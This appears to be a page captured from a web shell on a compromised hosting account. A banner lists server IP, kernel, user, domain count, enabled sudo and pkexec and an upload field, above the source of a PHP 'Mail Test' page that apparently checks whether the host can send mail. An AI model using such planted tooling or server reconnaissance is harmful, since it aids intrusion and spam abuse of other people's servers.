| Server IP : 144.76.79.100 / Your IP : 216.73.216.179 [ Web Server : Apache System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64 User : razzlestore ( 1092) PHP Version : 8.2.29 Disable Function : NONE Domains : 343 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/razzlestore/public_html/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mail Test - Legitimate</title>
<style>
body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; background: #f4f4f4; }
.box { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
input[type="email"], input[type="text"] { width: 100%; padding: 10px; margin: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; box-sizing: border-box; }
input[type="submit"] { background: #28a745; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; }
input[type="submit"]:hover { background: #218838; }
.info { margin-top: 20px; padding: 15px; background: #d4edda; border: 1px solid #c3e6cb; border-radius: 4px; color: #155724; }
</style>
</head>
<body>
<div class="box">
<h2>Test</h2>
<p>This page only tests</p>
<form method="post">
<input type="email" name="email" placeholder="Your email for test" required>
<input type="text" name="orderid" placeholder="Test ID (optional)">
<input type="submit" name="send" value="Send Test Email">
</form>
<?php
if (isset($_POST['send'])) {
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$orderid = trim($_POST['orderid'] ?? 'TEST-' . time());
if (!$email) {
echo '<div class="info" style="background:#f8d7da;color:#721c24;border-color:#f5c6cb;">Invalid email address.</div>';
exit;
}
// CHANGE THIS TO YOUR OWN DOMAIN OR A REAL ADDRESS
$from = "test@" . $_SERVER['HTTP_HOST'];
$subject = "Mail Test Successful - " . $_SERVER['HTTP_HOST'];
$message = "Hello,\n\ntest email sent {$_SERVER['HTTP_HOST']} at " . date('Y-m-d H:i:s') . "\nTest ID: $orderid\n\n is working correctly.\n\n— Server Admin";
$headers = "From: $from\r\n";
$headers .= "Reply-To: $from\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
if (mail($email, $subject, $message, $headers)) {
echo '<div class="info">Test <strong>' . htmlspecialchars($email) . '</strong> (ID: ' . htmlspecialchars($orderid) . ')</div>';
} else {
echo '<div class="info" style="background:#f8d7da;color:#721c24;border-color:#f5c6cb;">Failed to send email.</div>';
}
}
?>
</div>
</body>
</html>